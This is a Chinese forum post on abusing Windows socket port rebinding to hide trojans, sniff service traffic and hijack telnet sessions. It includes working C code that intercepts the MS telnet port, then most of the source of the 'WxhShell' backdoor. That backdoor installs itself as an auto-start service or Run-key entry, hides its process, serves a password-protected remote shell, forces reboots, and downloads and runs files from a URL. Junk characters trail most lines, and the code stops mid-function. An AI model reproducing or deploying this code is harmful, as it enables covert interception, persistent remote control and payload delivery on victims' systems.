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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ]$WwPDZ  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); jUX0sRDk  
$~.'Tnk)  
  saddr.sin_family = AF_INET; >BlF< d`X  
n|I5ylt  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); [[0u|`T/  
$> PV6  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); h.h\)>DM@  
^b`aO$  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 w ]$Hr   
h>'Mh;+  
  这意味着什么?意味着可以进行如下的攻击: 6<C|O-  
_QOZ`st  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ]EPFyVt~3  
nx'D&, VX  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) -]~vE fq+T  
f+W %X  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 {`1gDKH  
+/~;y{G..z  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ]PjJy/vkjj  
b$1W>  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 9TbRrS09  
*5|q_K Pt  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 <%]i7&8|  
jAb R[QR1%  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 S6Fn(%T+9  
q'[q]  
  #include 6w:M_tDM  
  #include 5QUL-*t  
  #include 7gcJ.,Z.  
  #include    T4x%dg  
  DWORD WINAPI ClientThread(LPVOID lpParam);   =L&}&pT  
  int main() CQm(N  
  { wLz@u$u?  
  WORD wVersionRequested; &C=[D_h  
  DWORD ret; ^8eu+E.{  
  WSADATA wsaData; [kyIF\0  
  BOOL val; RwptFO  
  SOCKADDR_IN saddr; jLG Q^v"  
  SOCKADDR_IN scaddr; a$ FO5%o  
  int err; K _sHZ  
  SOCKET s; V t@]  
  SOCKET sc; yd4\%%]  
  int caddsize; z<9wh2*M  
  HANDLE mt; bs=x>F  
  DWORD tid;   fTg^~XmJ  
  wVersionRequested = MAKEWORD( 2, 2 ); +GqUI~a  
  err = WSAStartup( wVersionRequested, &wsaData ); hMvLx>q3)  
  if ( err != 0 ) { KN-)m ta&  
  printf("error!WSAStartup failed!\n"); wz=c#}0dB  
  return -1; $@(+" $  
  } 7$u}uv`j  
  saddr.sin_family = AF_INET; %d#h<e|,.  
   -kz9KGkPb+  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 U}2b{  
&;]KntxB  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); R-V4Ju[:  
  saddr.sin_port = htons(23); vhOX1'  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) K/Qo~  
  { 9d_ Zdc  
  printf("error!socket failed!\n"); ~y.t amNW  
  return -1; >Kjl>bq  
  } #.^A5`k  
  val = TRUE; $(8CU$gi=  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 I=G-(L/&  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) . +  
  { Td/J6Q9 0  
  printf("error!setsockopt failed!\n"); HX p $\%A)  
  return -1; txp^3dZ`^  
  } &3_.k  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; qlgo#[i  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 p,K]`pt=  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Q=~ *oYR  
QpZ CU]  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) dF<GuS;l5  
  { 6./3w&D;  
  ret=GetLastError(); qzt.k^'-^  
  printf("error!bind failed!\n"); KrDG  
  return -1; # %$U-ti  
  } kI|7o>}<   
  listen(s,2); /pS Y~*  
  while(1) Qt`;+N(  
  { r?j2%M\  
  caddsize = sizeof(scaddr); &<RK=e'*x  
  //接受连接请求 1rLK1X  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Q^k\q  
  if(sc!=INVALID_SOCKET) ;bhD:$NB X  
  { zIT)Hs5  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); g`9`/  
  if(mt==NULL) ev"f@y9Do  
  { Z_.xglq{  
  printf("Thread Creat Failed!\n"); L.tW]43K  
  break; fS#I?!*}  
  } 0c6Ea>S[  
  } 8.m9 =+)8  
  CloseHandle(mt); ]w;!x7bU(  
  } 9 m`VIB  
  closesocket(s); |%l&H/  
  WSACleanup(); p]E\!/  
  return 0; 'BO MFp7c  
  }   bc}BQ|Q  
  DWORD WINAPI ClientThread(LPVOID lpParam) eN{ewn#0.  
  { { usv*Cm  
  SOCKET ss = (SOCKET)lpParam; \\UOpl  
  SOCKET sc; =d M'n}@U  
  unsigned char buf[4096]; &b:SDl6  
  SOCKADDR_IN saddr;  :qe.*\ c  
  long num; ?hh#@61  
  DWORD val; 1@S(v L3a  
  DWORD ret; Xdtyer%  
  //如果是隐藏端口应用的话,可以在此处加一些判断 EwX:^1f  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   bDADFitSo  
  saddr.sin_family = AF_INET; JK y0 6I  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); f5o##ia7:  
  saddr.sin_port = htons(23); @D@_PA)e(  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .:/[%q{k  
  { dlJc~|  
  printf("error!socket failed!\n"); G~nQR qv  
  return -1; |\3X7)^8D  
  } UrJrv x  
  val = 100; PyQ P K,  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /k O <o&  
  { 0n-S%e5  
  ret = GetLastError(); =Hf`yH\#  
  return -1; M>_ U9g  
  } Lh rU fy  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) rMEM$1vPU  
  { @b{I0+li"/  
  ret = GetLastError(); uP NZ^lM  
  return -1; # ; 3v4P  
  } ki=]#]rg  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) *1`q x+1  
  { F*TkQ\y  
  printf("error!socket connect failed!\n"); f)#rBAkt  
  closesocket(sc); w)7s]Ld  
  closesocket(ss); 9[ ,+4&wX7  
  return -1; |$+ xVi8  
  } 1}ER+;If  
  while(1) X(M|T]`b:  
  { G{]tB w  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 >1S39n5z.  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 U]}f]GK  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 >#[,OU}N  
  num = recv(ss,buf,4096,0); o/4U`U)Q0v  
  if(num>0) (t_%8Eu  
  send(sc,buf,num,0); B6J <  
  else if(num==0) >&`;@ZOH  
  break; 94Q?)0W$  
  num = recv(sc,buf,4096,0); *w5xC5*  
  if(num>0) tLSM]Q  
  send(ss,buf,num,0); :TkR]bhm  
  else if(num==0) y^[?F>wB  
  break; :[d *  
  } GMOnp$@H^s  
  closesocket(ss); =";G&)H-  
  closesocket(sc); 2`P=ekF]  
  return 0 ; mZ0'-ax   
  } Q nmv?YXS  
`RHhc{  
C7Ny-rj}IA  
========================================================== Gph:'3 *X  
?M9?GodbP.  
下边附上一个代码,,WXhSHELL zTS P8Q7  
hmp!|Q[)  
========================================================== :sA$LNj}  
CXd/M~:!  
#include "stdafx.h" P={8qln,X  
vugGMP;D(  
#include <stdio.h> x=YV*  
#include <string.h> IrMxdF~c  
#include <windows.h> _;'<}a  
#include <winsock2.h> hF`Qs  
#include <winsvc.h> K'U8ft*_  
#include <urlmon.h> 2}0S%R(  
/vNHb _-  
#pragma comment (lib, "Ws2_32.lib") ' o(7@   
#pragma comment (lib, "urlmon.lib") 2#)z%K6T  
ioJ|-@! #o  
#define MAX_USER   100 // 最大客户端连接数 #,CK;h9jy!  
#define BUF_SOCK   200 // sock buffer "|nh=!L  
#define KEY_BUFF   255 // 输入 buffer ( 8Q*NZ  
`"h[Xb#A`b  
#define REBOOT     0   // 重启 we&D"V  
#define SHUTDOWN   1   // 关机 cH6<'W{*  
+<rWYF(ii/  
#define DEF_PORT   5000 // 监听端口 Gc,6;!+(  
-=4{X R3  
#define REG_LEN     16   // 注册表键长度 iCIU'yI  
#define SVC_LEN     80   // NT服务名长度 Ye]-RN/W  
[yx8?5  
// 从dll定义API z$Z{ LR  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \'.|7{Xu  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); s6(bTO.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `G "&IQ8.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7u<C&Z/  
P-?R\(QYtR  
// wxhshell配置信息 U0@Qc}y  
struct WSCFG { g]Z@_  
  int ws_port;         // 监听端口 6H ^=\  
  char ws_passstr[REG_LEN]; // 口令 Dks"(0g  
  int ws_autoins;       // 安装标记, 1=yes 0=no _fjHa6S  
  char ws_regname[REG_LEN]; // 注册表键名 ^8V8,C)  
  char ws_svcname[REG_LEN]; // 服务名 /Y0oA3am  
  char ws_svcdisp[SVC_LEN]; // 服务显示名   |Sr  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ('1]f?:M  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "'*Qq@!3?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no W0k7(v)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" m8<.TCIQ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %`\=qSf*  
FO{?Z%& ;  
}; 9}$'q$0R]  
4,.[B7irR  
// default Wxhshell configuration c"oJcp  
struct WSCFG wscfg={DEF_PORT, BPd *@l  
    "xuhuanlingzhe", &\e8c g  
    1, 6Sz|3ms  
    "Wxhshell", 1~y\MD*-j  
    "Wxhshell", =4#p|OZP  
            "WxhShell Service", l5FKw;=K}:  
    "Wrsky Windows CmdShell Service", 8;$zD]{D1  
    "Please Input Your Password: ", B\\M%!a>  
  1, O&evv8 6L  
  "http://www.wrsky.com/wxhshell.exe", SYA0Hiw7P  
  "Wxhshell.exe" 1T0s UIY  
    }; FJ] ?45  
,pIaYU{D  
// 消息定义模块 u[6aSqwC |  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (y5 ]]l  
char *msg_ws_prompt="\n\r? for help\n\r#>"; @cB6,iUr  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; S7(tGD  
char *msg_ws_ext="\n\rExit."; s|D[_N!|  
char *msg_ws_end="\n\rQuit."; &Ivf!Bgm{Z  
char *msg_ws_boot="\n\rReboot...";  ?)2;W  
char *msg_ws_poff="\n\rShutdown..."; $Gs|Z$(  
char *msg_ws_down="\n\rSave to "; cv"Bhql  
[7Liken  
char *msg_ws_err="\n\rErr!"; go?}M]c%7  
char *msg_ws_ok="\n\rOK!"; \[L|  
"L+NN|  
char ExeFile[MAX_PATH]; qnJs,"sn  
int nUser = 0; ,qwVDYJ  
HANDLE handles[MAX_USER]; yVt8QF!  
int OsIsNt; [sZ ,nB/  
Bk@&k}0  
SERVICE_STATUS       serviceStatus; Np@RK1}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {r?+PQQ#  
 L0>7v  
// 函数声明 WZ N0`Od  
int Install(void); Ntlbn&lc;D  
int Uninstall(void); i|!W;2KL5  
int DownloadFile(char *sURL, SOCKET wsh); 0?*":o30  
int Boot(int flag); d@ef+-  
void HideProc(void); OZ4%6/  
int GetOsVer(void); 51 "v`O+  
int Wxhshell(SOCKET wsl); q.ZkQN+  
void TalkWithClient(void *cs); G2w0r,[  
int CmdShell(SOCKET sock); 6+/BYN!&4  
int StartFromService(void); 4VP$, |a  
int StartWxhshell(LPSTR lpCmdLine); 8iC9xSH[%  
FW:V<{f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ."j=s#OC(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (97&mhs3  
tZygTvK/S  
// 数据结构和表定义 ^K0oJg.E  
SERVICE_TABLE_ENTRY DispatchTable[] = qPn!.m$/  
{ _-z;  
{wscfg.ws_svcname, NTServiceMain}, WO=P~F<  
{NULL, NULL} C ett*jm_  
}; og`g]Z<I  
J<MuWgx&  
// 自我安装 KJW^pAj$B  
int Install(void) FDTC?Ii O  
{ $k^& X `  
  char svExeFile[MAX_PATH]; =\g K<Xh  
  HKEY key; ^C~t)U  
  strcpy(svExeFile,ExeFile); ;aDYw [  
Q|7;Zsd:  
// 如果是win9x系统,修改注册表设为自启动 mV.26D<c  
if(!OsIsNt) { \RmU6(;IQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &W%fsy<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y$+_9VzYB  
  RegCloseKey(key); q3ebps9^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wDKA1i%G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  h 3V; J  
  RegCloseKey(key); >S@><[C  
  return 0; Q&vU|y  
    } 6\RZ[gA?  
  } o$Z]qhq  
} O +Xu ?W]  
else { |`O210B@  
EO\- J-nM  
// 如果是NT以上系统,安装为系统服务 6 - IThC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); H={5>;8G  
if (schSCManager!=0) 0}- MWbG  
{ RY]jY | E  
  SC_HANDLE schService = CreateService q U^`fIa  
  ( ' pfkbmJ  
  schSCManager, },,K6*P  
  wscfg.ws_svcname, }@vf=jm>  
  wscfg.ws_svcdisp, NW~`oc)NS  
  SERVICE_ALL_ACCESS, R]N"P:wf@  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Lv@'v4.({  
  SERVICE_AUTO_START, {; 3a^K  
  SERVICE_ERROR_NORMAL, ; Z2  
  svExeFile, ;eC8| Xz  
  NULL, ,EH^3ODD  
  NULL, /U= ?D(>x  
  NULL, */j[n$K>~`  
  NULL, }8Nr .gY  
  NULL @+Anp4%;Y  
  ); @!B% ynrG  
  if (schService!=0) h%]  D[g  
  { BrsBB"<o,  
  CloseServiceHandle(schService); oT9qd@uQ0:  
  CloseServiceHandle(schSCManager); m'U>=<!D  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); )| F O>  
  strcat(svExeFile,wscfg.ws_svcname); A[H"(E#k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @VnK/5opS  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); rhC x&L  
  RegCloseKey(key); 2[1lwV  
  return 0; 35Fs/Gf-n  
    } 89ab?H}/  
  } G3gEL)b*  
  CloseServiceHandle(schSCManager); d+]/0J!c  
} _FzAf5DO  
} \1oN't.  
O[ug7\cl+  
return 1; mBDzc(_\$'  
} W"H(HA  
&'c&B0j  
// 自我卸载 oA4<AJ2  
int Uninstall(void) 1(qL),F;  
{ ap[Q'=A`  
  HKEY key; >Dq&[9,8  
JxQGL{) >  
if(!OsIsNt) { gZ6tb p,X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zRgl`zREr  
  RegDeleteValue(key,wscfg.ws_regname); Z(BZG O<  
  RegCloseKey(key); aA-s{af  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LuWY}ste  
  RegDeleteValue(key,wscfg.ws_regname); t{O2JF#5u  
  RegCloseKey(key); J"Nn.iVq  
  return 0; <,Fj}T-  
  } !gj_9"<  
} $`_xP1bUT  
}  #{zF~/Qq  
else { T26'b .  
GhW{6.^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); K&up1nZ@(  
if (schSCManager!=0) h%!,|[|  
{ ~/;shs<9EM  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); V(F1i%9lg  
  if (schService!=0) YRU#/TP  
  { _s+_M+@et  
  if(DeleteService(schService)!=0) { cfL:#IM  
  CloseServiceHandle(schService); b#Vm;6BHD1  
  CloseServiceHandle(schSCManager); $Fv|w9  
  return 0; 2 P9{?Y  
  } 9.Yn]O  
  CloseServiceHandle(schService); .>^U mM  
  } 9Qn*frdY,  
  CloseServiceHandle(schSCManager); vzZ"TSP  
} 6IKi*}  
} I~25}(IDZ"  
]_2<uK}fg  
return 1; r-5xo.J'  
} _Q}vPSJviC  
sLW e \o  
// 从指定url下载文件 _q`f5*Z[  
int DownloadFile(char *sURL, SOCKET wsh) >H,PST  
{ *[tLwl.  
  HRESULT hr; Q=#Wk$1.  
char seps[]= "/"; *zWf8X  
char *token; j4E`O%@^  
char *file; #XeabcOQ  
char myURL[MAX_PATH]; H~?p,h  
char myFILE[MAX_PATH]; eI+p  
HQ^:5 XH  
strcpy(myURL,sURL); fU'[lZ  
  token=strtok(myURL,seps); D>K=D"  
  while(token!=NULL) K<fB]44Y  
  { 'V} 4_3#q  
    file=token; 9tIE+RD  
  token=strtok(NULL,seps); j_}f6d/h  
  } 7?2<W-n  
d2*uY.,  
GetCurrentDirectory(MAX_PATH,myFILE); >C/O >g  
strcat(myFILE, "\\"); K(Ak+&[  
strcat(myFILE, file); W" 1=K] B  
  send(wsh,myFILE,strlen(myFILE),0); VevDW }4q*  
send(wsh,"...",3,0); %^bN^Sq -  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $%"~.L4  
  if(hr==S_OK) t8t+wi!  
return 0; "^5%g%  
else :tX,`G  
return 1; {\ J%i|u  
Ui }%T]  
} R9InUX"k  
hvF>Tu]^r  
// 系统电源模块 dA$qzQ  
int Boot(int flag) K"VRHIhfg  
{ AmBLZ<f;  
  HANDLE hToken; "K#zY~>L  
  TOKEN_PRIVILEGES tkp; =VF%Z[Gm  
\(ju0qFqH  
  if(OsIsNt) { 9^^:Y3j  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Il$Jj-)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8Oo16LPD  
    tkp.PrivilegeCount = 1; ^q/_D%]C  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; N6!$V7oT  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }RZN3U=  
if(flag==REBOOT) { "SU O2-Gj  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) W_h!Puj_  
  return 0; VHx:3G  
} L*1yK*  
else { </|m^$v  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) b!z kQ?h  
  return 0; >e QFY^d5  
} O8 5)^  
  } Y$ '6p."=  
  else { o7v,:e:  
if(flag==REBOOT) { B-[qS;PY%  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) P30|TU+B  
  return 0; Vnnl~|Xx  
} O 718s\#  
else { w>6 cc#>q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) q 1+{MPJ  
  return 0; 4_h?E:sBb  
} KNqs=:i  
} 5VGr<i&A  
`_>44!M  
return 1; ^"EK:|Y4%K  
} yn.f?[G2  
YUQKy2  
// win9x进程隐藏模块 wU/BRz8I  
void HideProc(void) =\i{dj  
{ 4i(?5p>f  
sjwD x0(7=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |Q*{yvfEo  
  if ( hKernel != NULL ) |]j2T 8_=  
  { vXeI)vFK  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); T&s}~S=m  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^THyohK  
    FreeLibrary(hKernel); `*--vSi  
  } I.u[9CI7HU  
NnqAr ,  
return; &v<Am%!N  
} /@+[D{_Fw  
?m dGMf)  
// 获取操作系统版本 5ii:93Hlj  
int GetOsVer(void) h"On9  
{ ')1p  
  OSVERSIONINFO winfo; yo_;j@BGR  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); mI-9=6T_  
  GetVersionEx(&winfo); n@y*~sG]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }TwSSF|}3  
  return 1; vs(x;zpJ  
  else >m8~Fs0  
  return 0; -*~~ 00w  
} GbJVw\5Z*  
\* SEj&9  
// 客户端句柄模块 i|QL6e*0  
int Wxhshell(SOCKET wsl) = K3NKPUI  
{ S~Yu;  
  SOCKET wsh; n_Bi HMIU'  
  struct sockaddr_in client; MUvgmJsN  
  DWORD myID; 7r wNjY#  
&,C;_3   
  while(nUser<MAX_USER) m$B)_WW  
{ dn:/8~B"X  
  int nSize=sizeof(client); 3Tz~DdB  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); D 4\ * ,w  
  if(wsh==INVALID_SOCKET) return 1; Q(h/C!rKe  
T{zz3@2?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); yf2$HF  
if(handles[nUser]==0) p+; La  
  closesocket(wsh); }<g- 0&GLm  
else |oV_7%mlu  
  nUser++; "wj-Qgz  
  } n+:}p D  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >0.a#-u^  
^4[|&E:  
  return 0; v7G&`4~  
} l[M?"<Ot;  
Geyj`t  
// 关闭 socket sL\W6ej  
void CloseIt(SOCKET wsh) fQ_(2+ FM  
{ ^ 9FRI9?  
closesocket(wsh); kyu PN<?  
nUser--; +z?SKc  
ExitThread(0); H:_R[u4r  
} c,_??8  
GNab\M.  
// 客户端请求句柄 fE,Io3  
void TalkWithClient(void *cs) 0=V -{  
{ -1c{Jo  
<^fvTb&*  
  SOCKET wsh=(SOCKET)cs; !TeI Jm/l  
  char pwd[SVC_LEN]; L2\NTNY  
  char cmd[KEY_BUFF]; OGn-~ #E  
char chr[1]; !\/J|~XZ  
int i,j; G2 !J`}  
eD?f|bif  
  while (nUser < MAX_USER) { &AhkP=Yw  
_"G./X  
if(wscfg.ws_passstr) { U['|t<^uf  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q o tWWe#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $W0O  
  //ZeroMemory(pwd,KEY_BUFF); 8N9X1Mb|  
      i=0; <U~at+M  
  while(i<SVC_LEN) { }<qT[m  
 NH0uK  
  // 设置超时 o2W^!#]=  
  fd_set FdRead; ! ,&{1p  
  struct timeval TimeOut; =uD^#AX  
  FD_ZERO(&FdRead); 6uKS!\EY|  
  FD_SET(wsh,&FdRead); .+$ox-EK8  
  TimeOut.tv_sec=8; )k6kK}  
  TimeOut.tv_usec=0; 'O[0oi&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); RG y+W-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); m\e?'-(s  
C5x*t Q|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); aYws{Vii  
  pwd=chr[0]; @t4OpU<'*b  
  if(chr[0]==0xd || chr[0]==0xa) { sX,S]:X  
  pwd=0; %2^wyVkq:  
  break; c[X:vDUX  
  } vx}W.6C}  
  i++; `e^sQ>rDI  
    } WWG+0jQ9  
dBEm7.nh  
  // 如果是非法用户,关闭 socket 9N V.<&~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); p d(W(-`8!  
} %hCd*[Z}j  
$c}-/U 8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); l" +q&3Zx  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .T\_4C  
@23~)uiZa  
while(1) { L=wpZ`@ y  
XN}^:j_2  
  ZeroMemory(cmd,KEY_BUFF); P9jPdls  
3V%ts7:a  
      // 自动支持客户端 telnet标准   4rrR;V"}  
  j=0; ]..7t|^b&  
  while(j<KEY_BUFF) { 'mO>hD`V  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =SV b k  
  cmd[j]=chr[0]; Js/QL=,  
  if(chr[0]==0xa || chr[0]==0xd) { tZan1C%p>  
  cmd[j]=0; <BjrW]pM  
  break; ][`%vj9r  
  } E_T!|Q.  
  j++; RJOW#e :  
    } p,7, tx  
\@m^w"Ij  
  // 下载文件 _(F8}s  
  if(strstr(cmd,"http://")) { ubUVxYD?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]8CgHT[^7  
  if(DownloadFile(cmd,wsh)) qrufnu5cC  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); HMmB90P`  
  else VMH^jCFp  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 20cEE>  
  } .JX9(#Uk  
  else { D hD^w;f]  
D";@)\jN  
    switch(cmd[0]) { ^]MLEr!S  
  R'Uf#.  
  // 帮助 fi  [4F  
  case '?': { %uDH_J|^  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "NtY[sT{V  
    break; bW^C30m  
  } {BzE  
  // 安装 wEC,Mbn  
  case 'i': { b)@rp  
    if(Install()) uF+0nv+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nYE%@Up  
    else L :Ldk  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n50W HlMtt  
    break; Ui.S)\B  
    } DB3qf>@?  
  // 卸载 Uj)Wbe[)p0  
  case 'r': { ~3Y4_b5E  
    if(Uninstall()) GQ2/3kt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q) =LbR{#  
    else L}6!D zl  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9qUkw&}H  
    break; mM.YZUX  
    } 0+F--E4  
  // 显示 wxhshell 所在路径 !<?<f db  
  case 'p': { <.&84c]/&  
    char svExeFile[MAX_PATH]; ?!y<%&U  
    strcpy(svExeFile,"\n\r"); ;OZl' . %`  
      strcat(svExeFile,ExeFile); \3`r/,wY  
        send(wsh,svExeFile,strlen(svExeFile),0); 33g$mUB  
    break; dozC[4mF  
    } \P7<q,OGS  
  // 重启 hkMVA  
  case 'b': { yM Xf&$C  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); u9fJ:a  
    if(Boot(REBOOT)) y/+ IPR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q89fXi0Ivb  
    else { Z)md]Twt  
    closesocket(wsh); \/ ipYc  
    ExitThread(0); /xj`'8  
    } Xy r'rm5+b  
    break; VS>xvF  
    } et?FX K"y  
  // 关机 wf`A&P5tF  
  case 'd': { d,toUI  
